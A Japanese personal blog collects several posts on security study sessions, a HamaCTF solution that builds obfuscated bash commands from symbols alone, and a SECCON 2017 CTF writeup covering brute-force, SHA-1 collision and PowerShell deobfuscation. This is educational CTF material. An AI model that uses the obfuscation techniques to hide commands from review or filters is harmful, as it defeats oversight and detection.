ニュース
katagaitai CTF勉強会 #10 - 関東|med に参加させて頂きました!
katagaitai CTF勉強会 #10 - 関東|med : ATND¶
チームkatagaitaiの実施する, に関する勉強会です.過去問を解きつつ技術解説をします. 学生~社会人若手の方を対象にわいわいやりたいと思ってます.
trmrさんの暗号の話¶
電力解析による暗号処理へのサイドチャネル攻撃が大変面白かった
基本的には
- 同じ処理したら同じ電力消費のグラフになる
- bit反転(変化)する際に(そうでない場合と比べて)電力が多く消費される
ぐらいの特性から、目的のビット列を求めるのは、
聞くと「なるほど~」と思うんだけどそこに至るまでの手法を考えた人がスゴイわ。。
物理と数学の融合感ある。
ChipWhispererというツールで全部できちゃうけど、やってくれるのはAESの鍵取得だけなので、動作原理を理解していないと応用がきかない
CTFerのランク¶
ちょっと面白かった。以下のレベル分けて呼称されている。
わかりみが深い
- CTF初心者
- 中級者
- プロ
- 自称CTF初心者
eshihoさんの暗号の話¶
しほプロの暗号のお話
RSA暗号の買得手法の一つ、Coppersmith's Method のお話
数学に明るくないので、めっちゃ難しく、死 and Die だった。
(ガチ勢には、大変わかりやすい説明だったと思われる)
暗号ガチ勢怖い
頂きました¶
ノートを頂きました。コレ知ってる、えぇやつやん。ありがとうございます。
ノート頂きました。コレ知ってる、えぇやつやん。。ありがとうございます #katagaitaiCTF pic.twitter.com/Gn6NLUi8Yb
— kanata (@kanata201612) 2018年2月24日
第33回めでたいシェル芸勉強会/オープンソースカンファレンス2018 Tokyo/Spring に参加させて頂きました!
jus共催 第33回めでたいシェル芸勉強会¶
以下に綺麗にまとめてくださっています。毎回難しいけれど、今回も難しくて死んだ。
jus共催 第33回めでたいシェル芸勉強会の報告 | 上田ブログ¶
null
ちなみに私がLTしたやつはコレです。
濱せっくで発表したのと同じもの
オープンソースカンファレンス2018 Tokyo/Spring¶
東京で春・秋にやるカンファレンス、無料でいろいろ聞けて良い。場所はめっちゃ遠い。
https://www.ospn.jp/osc2018-spring/
オープンソースカンファレンス2018 Tokyo/Spring - オープンソースの文化祭!¶
オープンソースの最新動向に関する展示・セミナーイベント。参加無料。
沢山頂きました!ありがとうございます…!
特に気になったもの¶
Gentoo入門¶
Gentoo愛を感じた
インストールのためにハンドブックを使ってください。初めてのインストールは難しいですがなれたら簡単になりますよ。https://t.co/k7rSMmXxt6 https://t.co/Bn9qGJY3hL
— Alice Ferrazzi (@aliceinwire) 2018年2月23日
OSSと脆弱性管理¶
かんべさん面白い人だ…
CPU脆弱性「Meltdown/Spectre」の件はアレですよね。みんなさん一家言あるかと思います。。
個人的にはパッチいつ当てる?当てるの?よりも、性能に影響でる方が気になっており。
ギリギリで日次バッチが完了してるシステムとか、そういうやつ世に沢山ありますよね…?
それにパッチ当てちゃうと、そらもぅアレですよ。大パニックですよ。
じゃあCPU交換だ!なんてするわけもなく、、、
世間の盛り上がりとは関係なく、冷静にCVSSのポイントをベースにパッチの適用有無・時期を判断できるような土壌ができればいいなと願っています。
プラレールで全加算器¶
最高!
去年の半加算器より進化、なんと全加算器っ…! #osc18tk
— kanata (@kanata201612) 2018年2月23日
コングラッチレーション…! pic.twitter.com/VbClyHPG4w
元祖 濱せっく #1 - HamaCTF想定解
CTF Writeup HamaCTF¶
2017.12.2 元祖 濱せっく #1で開催されたCTFの想定解です。
問題¶
エクササイズ¶
復号してね。シェル芸でできるよ。 2n,13,rev,64 01011000001100000011001101011010001100010101001001101101010011000110110001000001010100010111001001101101011001100110000101000101010010000100000101001000010011000110011101010011010101000100011000001010
全てがFになる¶
これから何かわかりますか?
難読化シェル芸1¶
解読してみましょう
大サービス!フラグの一部を教えちゃう!
38}
zlib¶
この中にzlibされたフラグが埋もれています。
sign¶
以下のメッセージと sign.zip から何かわかりますか?
9:14 PM 05 AUG 16 Edward Snowden
b7bb840ece86d44c0fb83da6da0af8a3eeb45946aa141fa44cbc94436e1d5ccd
難読化シェル芸2¶
解読してみましょう
大サービス!フラグの一部を教えちゃう!
fi}
想定解¶
暇だったら想定解見る前にチャレンジしてみてクレメンス
記号と1,2,A,zでだけで作る難読化シェル芸
結果¶
A=$(. 2>&1);A=${A##*.};${A:$((++z*++z*++z*z-z+++z)):$((z=z^z||++z))}${A:$((++z*++z---z)):$((z=z^z||++z))}${A:$((++z*++z*z)):$((z=z^z||++z))} -- {z..A};${@:$((++z*++z*++z---z+++z---z+++z---z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z+++z)):$((z=z^z||++z))}${@:$((++z+++z+--z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z)):$((z=z^z||++z))}
ちゃんとdateが実行される
$ A=$(. 2>&1);A=${A##*.};${A:$((++z*++z*++z*z-z+++z)):$((z=z^z||++z))}${A:$((++z*++z---z)):$((z=z^z||++z))}${A:$((++z*++z*z)):$((z=z^z||++z))} -- {z..A};${@:$((++z*++z*++z---z+++z---z+++z---z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z+++z)):$((z=z^z||++z))}${@:$((++z+++z+--z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z)):$((z=z^z||++z))}
2017年 12月 18日 月曜日 19:00:55 JST
使ってる文字種は…
$ echo 'A=$(. 2>&1);A=${A##*.};${A:$((++z*++z*++z*z-z+++z)):$((z=z^z||++z))}${A:$((++z*++z---z)):$((z=z^z||++z))}${A:$((++z*++z*z)):$((z=z^z||++z))} -- {z..A};${@:$((++z*++z*++z---z+++z---z+++z---z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z+++z)):$((z=z^z||++z))}${@:$((++z+++z+--z)):$((z=z^z||++z))}${@:$((++z*++z*++z---z+++z---z)):$((z=z^z||++z))}'|grep -o .|sort -u|tr -d '\n'
#$&()*+-.12:;=>@A^z{|}
#$&()*+-.12:;=>@A^z{|} だけ。理論上はこれで何でも書ける。
解説¶
基本原理¶
こんな感じで変数展開を駆使する
$ a="abcdefghijklmnopqrstuvwxyz" $ ${a:3:1}${a:0:1}${a:19:1}${a:4:1} 2017年 12月 17日 日曜日 17:24:21 JST
それでは、実際に順を追ってやってみましょう。
記号と1,2だけでアルファベットを得る¶
記号だけでアルファベット得るには、以下のエラーメッセージを使います。
$ .
-bash: .: ファイル名が引数として必要です
.: 使用法: . filename [arguments]
エラーメッセージは、標準エラー出力の方にでるので標準出力に向けるよう1と2を使ってリダイレクトします。
(この後1と2は使いません)
編集結果は変数に入れます。Aとzしか使えない縛りなので、ここではAを使います。
$ A=$(. 2>&1);
$ echo $A
-bash: .: ファイル名が引数として必要です .: 使用法: . filename [arguments]
使っているディストリや言語環境でメッセージが異なったりします。
そのため、変数展開で変化のない箇所だけ取り出します。
$ A=${A##*.};
$ echo $A
filename [arguments]
アルファベットaefgilmnrstuを得ることができました。
これからコマンドを実行するには、bashの 変数展開を使います。
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
f | i | l | e | n | a | m | e | [ | a | r | g | u | m | e | n | t | s | ] |
変数展開を利用すると、この文字列を切り出すsubstringのような機能を実現できます。この配列からlsの実行は、以下でできます。
${A:3:1}${A:19:1}
さて、このままだと使えるアルファベットが限定されています。dateもできませんし、echo,grep...よく使うコマンドも大半が利用できません。なんとか使えるアルファベットを増やす必要があります。
ブレース展開でアルファベット小文字を得る¶
使えるアルファベットを増やすには、ブレース展開を使うのがよさそうです。Aとzだけでアルファベットを全て得られます。
$ echo {A..z}
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z
これを変数に入れればいいですね。ただ直接入れられません。echoとかで出力した結果を変数に入れる必要があります。
あ。。。echoが使えませんね。使えるアルファベット(aefgilmnrstu)からechoの代替を探しましょう。
正解は・・・!これ
$ set -- {z..A}
さっきの変数展開を駆使して、setを実行します。実行結果は、なんと位置パラメータに入る仕様です。
$ ${A:19:1}${A:4:1}${A:18:1} -- {z..A}
$ echo $@
z y x w v u t s r q p o n m l k j i h g f e d c b a ` _ ^ ] [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A
やったね!これでdateも実行できるはずです。試してみます。
1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 |
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
z | y | x | w | v | u | t | s | r | q | p | o | n | m | l | k | j | i | h | g | f | e | d | c | b | a | ` | _ | ^ | ] | [ | Z | Y | X | W | V | U | T | S | R | Q | P | O | N | M | L | K | J | I | H | G | F | E | D | C | B | A |
$ ${@:23:1}${@:26:1}${@:7:1}${@:22:1}
2017年 12月 18日 月曜日 19:22:14 JST
できましたね!まだ終わりじゃないです。
数字使っている所をなんとかする¶
まだ数字が入っている所がありますね。
これを何とかしましょう。もう一つの文字zをここで変数として使います。
算術式展開 を使います。数字を一切使わずに目的の数値を計算して出力します。
しんどいのは、一度計算に利用した変数zは、0に戻ることもなく、そのまま次の処理に引き継がれることです。
こんな感じで計算しておりますが、前提として変数zの初期値が1であったり、0であったりする必要があります。
$((z=z^z)) # 0 自分自身でXORすると0になる。何回実行しても0。 $((z=z^z||++z)) # 1 なんかよくわかんないけど1になる。何回実行しても1。 $((++z*++z---z)) # 4 変数zの初期値が1前提 $((++z+++z+--z)) # 7 変数zの初期値が1前提 $((++z*++z*z)) # 18 変数zの初期値が1前提 $((++z*++z*++z*z-z+++z)) # 19 変数zの初期値が0前提 $((++z*++z*++z---z+++z---z)) # 22 変数zの初期値が1前提 $((++z*++z*++z---z+++z---z+++z---z)) # 23 変数zの初期値が1前提 $((++z*++z*++z)) # 24 変数zの初期値が1前提 $((++z*++z*++z---z+++z---z+++z)) # 26 変数zの初期値が1前提
全部載せるのが大変なので、dateで使う数値だけに絞っています。
調整して完成!¶
そんなわけで、まとめるとこんな感じ
A=$(. 2>&1); # .のエラーメッセージを変数に格納 A=${A##*.}; # エラーメッセージの環境依存の無い箇所だけ抽出 ${A:$((++z*++z*++z*z-z+++z)):$((z=z^z||++z))} # s ${A:$((++z*++z---z)):$((z=z^z||++z))} # e ${A:$((++z*++z*z)):$((z=z^z||++z))} -- {z..A}; # t -- {z..A} ${@:$((++z*++z*++z---z+++z---z+++z---z)):$((z=z^z||++z))} # d ${@:$((++z*++z*++z---z+++z---z+++z)):$((z=z^z||++z))} # a ${@:$((++z+++z+--z)):$((z=z^z||++z))} # t ${@:$((++z*++z*++z---z+++z---z)):$((z=z^z||++z))} # e
経緯¶
SECCON2017オンライン予選問題 Powerful_Shell の難読化最後の部分と
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
難読化されたPowershellの問題
と、Masato Kinugawaさんの以下を見て感銘を受けまして、何とか記号だけでシェル芸したい!と思ったわけなんです(結局記号だけは無理だったw)
SECCON 2017 Writeup
CTF Writeup SECCON 2017¶
- CTF Writeup SECCON 2017
- 結果&感想
- Log search (Web 100)
- Simon and Speck Block Ciphers (Crypto 100)
- SHA-1 is dead (Crypto 100)
- JPEG file (Binary 100)
- Powerful_Shell (Binary 300)
結果&感想¶
某チームでSECCON2017に参加しました。
4問解きました。全部100点だけどな!
チームの成績なんですが、もしかしたら国内決勝行けるかもという順位!
決勝行けたらめでたいね!!!
基本的に今回は
こまけぇこたぁいいんだよ¶
解けりゃぁいいんだよ!ちゃんと実装しよ?めんどくせぇ買ってこいよゴロリ
というスタンスで解いていたため、はたして公開していいのかというクソコードっぷりを披露する事になります。
Log search (Web 100)¶
問題文はアクセス先のURLだけだったかな。。
これはなんで解けたのか、どういう趣旨だったか理解する前に解けてしまいました。
検索窓があるので、おもむろに flag と入力して検索
出てきたそれっぽいヤツにアクセスする。
フラグ取れた。
SECCON{N0SQL_1njection_for_Elasticsearch!}
Simon and Speck Block Ciphers (Crypto 100)¶
平文と暗号文、キーの一部が提供されています。
Simon_96_64, ECB, key="SECCON{xxxx}", plain=0x6d564d37426e6e71, cipher=0xbb5d12ba422834b5
Simon and Speck Block Ciphers という暗号方式を実装して、暗号キーを求めてねという問題。
さっそく問題文中で公開されている404.pdfを見てみると暗号方式を解説している論文のようでございました。
いかんせん英語でございましたので、3分ぐらいで見るのを止めた訳です。英語は無理だと。
きっと、実装してくださっている方がいるだろうとGithubなんかを検索したら出てきました。
bozhu/NSA-ciphers¶
NSA-ciphers - SIMON and SPECK the two lightweight block ciphers designed by the researchers from NSA
simon.py はテストコードがついてるので、それをコメントアウトして目的のソースコードを書き加えます。
simon.py
#!/usr/bin/env python
# ~中略~
#for bsize, ksize, key, plain, cipher in test_vectors:
# my_simon = SIMON(bsize, ksize, key)
# encrypted = my_simon.encrypt(plain)
# assert encrypted == cipher
# for i in range(1000):
# encrypted = my_simon.encrypt(encrypted)
# for i in range(1000):
# encrypted = my_simon.decrypt(encrypted)
# decrypted = my_simon.decrypt(encrypted)
# assert decrypted == plain
chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'
itr = permutations(chars,4)
plain = 0x6d564d37426e6e71
encrypted = 0xbb5d12ba422834b5
key = 0x00
key_source = ""
for i in itr:
key_source="SECCON{"+"".join(map(str,i))+"}"
answer=key_source
key_source = "0x" + hex(ord(key_source[0]))[2:4]+hex(ord(key_source[1]))[2:4]+hex(ord(key_source[2]))[2:4]+hex(ord(key_source[3]))[2:4]+hex(ord(key_source[4]))[2:4]+hex(ord(key_source[5]))[2:4]+hex(ord(key_source[6]))[2:4]+hex(ord(key_source[7]))[2:4]+hex(ord(key_source[8]))[2:4]+hex(ord(key_source[9]))[2:4]+hex(ord(key_source[10]))[2:4]+hex(ord(key_source[11]))[2:4]
key = long(key_source,16)
c = SIMON(64, 96, key)
if encrypted == c.encrypt(plain):
print answer
print 'All tests passed'
int(key.encode('hex'), 16) # 文字列→intは、こんな感じでもっとスマートに書けたか
後はぶん回すだけなのですが、えらい時間がかかって、これはきっと競技時間中に終らないんじゃないかとも思いましたが、運良くフラグが出てくれました。
SECCON{6Pz0}
SHA-1 is dead (Crypto 100)¶
この条件のファイルを作る問題
- file1 != file2
- SHA1(file1) == SHA1(file2)
- SHA256(file1) <> SHA256(file2)
- 2017KiB < sizeof(file1) < 2018KiB
- 2017KiB < sizeof(file2) < 2018KiB
※1KiB = 1024 bytes
SHA1のハッシュ衝突が起こせるようになったのは有名な話題なので知ってはおりました。
知ってはおりましたが実装まではしたことがございません。
きっと誰かがPoCを公開してくださっているだろうと、調べるとすぐ出てきました。
73spica/sha1-collision¶
sha1-collision - Googleが発表したSHA-1衝突の原理で衝突PDFを生成するスクリプト
このツールは、こんな仕様
- jpegを指定して、sha1ハッシュ値が同じpdfを作ってくれるツール
- jpegのファイルフォーマットを壊さずにハッシュ衝突してくれる
- それ故チェック処理が入っててフォーマットが壊れる場合は処理を中断する
いい感じのサイズのjpegを作るのが面倒だったため、ファイルの後ろに0x00を何byteかくっつけてサイズ調整しようと思った訳です。
するとチェックに引っかかるんですよね。困った。
なので、こうしました。
- sha1ハッシュ衝突ツール(collision.py)のチェック処理をコメントアウト
- jpegファイルのお尻に0x00を何Byteか加えてサイズを調節する
- pdfのサイズが 2065408~2066432 Byte になるよう以下のシェルスクリプトを作って何度か試す
#!/bin/bash
dd if=/dev/zero of=zero_a bs=1024 count=$1
sleep 2
cat sample1.jpg zero_a >a.jpg
cat sample2.jpg zero_a >b.jpg
python collision.py a.jpg b.jpg
ls -lrt collision*
ファイルアップロードしてフラグ取得
SECCON{SHA-1_1995-2017?}
ちなみに、公開されているsha1ハッシュが同じpdfの後ろに0x00をくっつけてサイズ調整すればいいと気付いたのは競技終了後にwriteupを見た時
JPEG file (Binary 100)¶
あぁ、これ進研ゼミでやってたやつだ!…じゃなくて、昔のSECCONで出た問題に似てる!
と、すぐ思い出した訳です。そしてそのwriteupを パク参考にしようと思ったわけで、調べたら出てきました。
SECCON CTF 福岡大会の問題 - yasulib memo¶
SECCON CTFの筑波大会に出場させて頂けることになりました。 他チームは各所で活躍されている方々が参加されるということもあり、勝ちを狙うのは難しそうなので、チーム全員で楽しんで出場できたら良いなと思います :) 今回のCTFをきっかけにセキュリティ&プログラミングキャンプ2010に参加した友人たちと連絡を取り合うきっかけになりました。(キャンプのCTFで同じチームだった人もいます) @ITの記事 を見ていて、福岡大会でどんな問題が出ていたのか書いてあったので、解いてみました。 問:以下のファイルダンプは宇宙からの中性子線で1bitのデータが反転したものである。 0000000 1f 8b 08 08 27 2c 39 4f 02 03 7a 2e 74 78 74 00 0000020 ed da 4d 0e 83 20 10 86 e1 7d 93 de 61 d6 de ff 0000040 80 ee 9a 54 65 f8 66
origGz = open("tktk.jpeg", "rb").read()
byteSize = len(origGz)
bits = []
for i in range(0, 8):
bits.append(2**i)
for byte in range(0, byteSize):
for bit in bits:
change = chr( ord(origGz[byte]) ^ bit )
newGz = origGz[0:byte] + change + origGz[byte+1:]
filename = "out/" + str(byte) + "_" + str(bit) + ".jpeg"
f = open(filename, "wb")
f.write(newGz)
f.close()
1bitずつ反転させたファイルを作って、それを全て目で確認するという手段を取りました。
gzipなら、全ファイル展開を試してみるとか出来るんですが、jpegだとそうはいかない
よくよく考えなくても、全画像の枚数は 93024枚になる訳で、それを目視で確認しようとしてたあの時の私は少しおかしかったのかもしれません。
Windowsのフォルダの表示を「特大」にして、こんなのを延々と確認しました。
途中で力尽きて他の方法を考える流れでしたが、割と早い段階で出てきました。
いま思うと、ファイルヘッダが壊れている可能性が高い訳で、必然的にファイルの前半が被疑箇所になりますね
Powerful_Shell (Binary 300)¶
難読化問題!?まかせろバリバリってやってたけど
私が解くよりも早くチームメイトのcatさんが光の速さで解いてくれました。
ほんまcatさんは神やでぇ
ちなみに私の第六感が囁くのだけれど、作問者は@Sh1n0g1さんだと思う。
以下、途中までやった結果
難読化の解除¶
最下行でデコード結果を実行しているように見えるため、その直前に以下の行を挿入してファイルへ出力
Write-Output $ECCON | Out-File -FilePath C:\Users\kanata\Desktop\20171209_SECCON\Binary_300_Powerful_Shell\dec.ps1
adminチェック処理がある¶
管理者権限じゃないとチェックアウトされる。Exitをコメントアウトっと
<# Host Check #> Write-Host -b 00 -f 15 Checking Host... Please wait... -n Try{ If ((Get-EventLog -LogName Security | Where EventID -Eq 4624).Length -Lt 1000) { Write-Host "This host is too fresh!" Exit } }Catch{ Write-Host "Failed: No admin rights!" #Exit } Write-Host "Check passed"
音が出る¶
スゴイ…音が出るよ。ソースを見ると以下がある。
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349)
440ってあれですわ。周波数ですわ。440Hzで音叉の音(A:ラ)ですわ。
他の周波数も当てはめると以下になります。
$secret=@(440,440,493,440,440,493,440,493,523,493,440,493,440,349) #音階 ラ ラ シ ラ ラ シ ラ シ ド シ ラ シ ラ ファ #押すキー h h j h h j h j k j h j h f
「さくらさくら」ですね
この通り押すと処理が進み、また最下行でデコード結果を実行しているように見えるため、その直前に以下の行を挿入してファイルへ出力
Write-Output $ECCON | Out-File -FilePath C:\Users\kanata\Desktop\20171209_SECCON\Binary_300_Powerful_Shell\dec.ps1
数字の羅列を得る¶
デコード結果は数字の羅列だった。
ASCIIコードやろ?おっちゃんわかるで、これ
10 36 123 59 125 61 43 36 以下、延々と続く
以下のシェルスクリプトでデコードする
#!/bin/bash
for WORD in `cat dec.ps1`
do
WORD=`echo $WORD|col -bx`
echo "obase=16; ibase=10; $WORD" | bc|xxd -ps -r
done
結果
${;}=+$();${=}=${;};${+}=++${;};${@}=++${;};${.}=++${;};${[}=++${;};${]}=++${;};${(}=++${;};${)}=++${;};${&}=++${;};${|}=++${;};${"}="["+"$(@{})"[${)}]+"$(@{})"["${+}${|}"]+"$(@{})"["${@}${=}"]+"$?"[${+}]+"]";${;}="".("$(@{})"["${+}${[}"]+"$(@{})"["${+}${(}"]+"$(@{})"[${=}]+"$(@{})"[${[}]+"$?"[${+}]+"$(@{})"[${.}]);${;}="$(@{})"["${+}${[}"]+"$(@{})"[${[}]+"${;}"["${@}${)}"];"${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${(}${+}+${"}${&}${@}+${"}${+}${=}${+}+${"}${|}${)}+${"}${+}${=}${=}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${[}${]}+${"}${&}${=}+${"}${+}${+}${[}+${"}${+}${+}${+}+${"}${+}${=}${|}+${"}${+}${+}${@}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${(}${|}+${"}${+}${+}${=}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${+}${+}${[}+${"}${.}${@}+${"}${+}${+}${(}+${"}${+}${=}${[}+${"}${+}${=}${+}+${"}${.}${@}+${"}${+}${+}${@}+${"}${|}${)}+${"}${+}${+}${]}+${"}${+}${+}${]}+${"}${+}${+}${|}+${"}${+}${+}${+}+${"}${+}${+}${[}+${"}${+}${=}${=}+${"}${.}${|}+${"}${+}${.}+${"}${+}${=}+${"}${)}${.}+${"}${+}${=}${@}+${"}${[}${=}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${.}${@}+${"}${[}${]}+${"}${+}${=}${+}+${"}${+}${+}${.}+${"}${.}${@}+${"}${.}${|}+${"}${&}${=}+${"}${[}${&}+${"}${+}${+}${|}+${"}${(}${|}+${"}${+}${+}${[}+${"}${.}${(}+${"}${)}${@}+${"}${]}${+}+${"}${[}${|}+${"}${[}${|}+${"}${.}${|}+${"}${[}${+}+${"}${+}${@}${.}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${|}+${"}${)}${+}+${"}${+}${+}${+}+${"}${+}${+}${+}+${"}${+}${=}${=}+${"}${.}${@}+${"}${)}${[}+${"}${+}${+}${+}+${"}${|}${&}+${"}${.}${.}+${"}${.}${|}+${"}${]}${|}+${"}${+}${.}+${"}${+}${=}+${"}${|}+${"}${&}${)}+${"}${+}${+}${[}+${"}${+}${=}${]}+${"}${+}${+}${(}+${"}${+}${=}${+}+${"}${[}${]}+${"}${)}${@}+${"}${+}${+}${+}+${"}${+}${+}${]}+${"}${+}${+}${(}+${"}${.}${@}+${"}${.}${[}+${"}${&}${.}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${.}+${"}${.}${(}+${"}${(}${|}+${"}${(}${)}+${"}${(}${)}+${"}${)}${|}+${"}${)}${&}+${"}${+}${@}${]}+${"}${.}${[}+${"}${+}${.}+${"}${+}${=}+${"}${+}${@}${]}|${;}"|&${;}
おぉ・・・もぅこれ完全にJavaScriptの難読化と同じだわ。。。スゴイわ。。。
catさん「解けました」
ワイ「アッハイ」
最近参加した勉強会 IoTSecJP と 元祖濱せっく#1 (1コメント)
最近参加した勉強会
SECCONも控えており、書き留める時間が足りない。時間が欲しい。
IoTSecJP¶
IoTSecJP東京 (2017/11/23 18:00〜)¶
概要 東京でIoTSecJPのキックオフを行いたいと思います。 IoTセキュリティについて良いアウトプットをしていく場として、IoTSecJPというコミュニティを立ち上げました。 発表者への非難などは厳禁とし、前向きな方のご参加をお待ちしております。 一部公開NGな話に関しては、発表者の指示に従っていただきますようお願い申し上げます。 IoTSecJPのfacebookページ ...
IoTセキュリティについて良いアウトプットをしていく場
めっちゃ楽しかった。特に大人の健康器具の話。Bluetoothの認証ザルで01を送ると動く。00で止まる。
黒林檎さんにサインもらったぞいヒャッホゥ #IoTSecJP pic.twitter.com/A0yrbpPlqu
— kanata (@kanata201612) 2017年11月23日
元祖 濱せっく #1¶
元祖 濱せっく #1 (2017/12/02 13:30〜)¶
濱せっくとは 横濱界隈のセキュリティエンジニアが運営している情報やスキルを共有し合うことを目標とするセキュリティ勉強会です。 今回は初の横濱開催です。 読み方:はませっく #### 対象者 セキュリティに興味のある方であれば、学生でも社会人でも無職の方でもどなたでも大歓迎です。 なお、横濱にお住まいでなくても参加できます。 ## 開催日時 * 2017年12月2日(土) * 13:00開場 / 13:30開始 * 17:30~18:00 終了見込み * 18:00~ 飲食店に移動して懇親会 ## 会場 * 学校法人岩崎学園 情報科学専門学校 ...
登壇してお話させて頂く立場として参加
当日は朝から正装をキメる(ガイアが俺にもっと輝けと言っている)
もうシェル芸Tシャツ蒸着してる pic.twitter.com/vwa9lD5qLg
— kanata (@kanata201612) 2017年12月1日
以下2点を布教、もとい、お話させて頂きました。噛んだ。
- 危険PowerShell芸はできるのか?
- 難読化シェル芸の紹介と耐タンパー性の確保について
ご理解頂けたかどうか。
あと HamaCTFに問題出題させてもらった。解いてくれた問題、解いてくれなかった問題、
双方あったけど難易度的にはそこそこ適切だったのだろうと思う。よかった。
最後に懇親会に参加させて頂いた。
喋りすぎて喉が枯れつつも、オタクを発揮していっぱい喋ってしまった。
難読化のデコードについてとか、CTFの行く末とか、有識者と話せてとても楽しかった。
普段セキュリティの話は、あんまりできないので控えめに申し上げて最高だった。
また参加したいと思います。
AVTOKYO2017に行ってきました (1コメント)
去年に引続き参加。変わらずのカオスw面白かった!
聞いていた中で面白かったものをいくつか紹介。
同時進行で半田付けでバッチ作成とかクイズ大会とかあるので、全てを網羅はできない。
プリンタの怖い話 〜意外と簡単に盗める〜¶
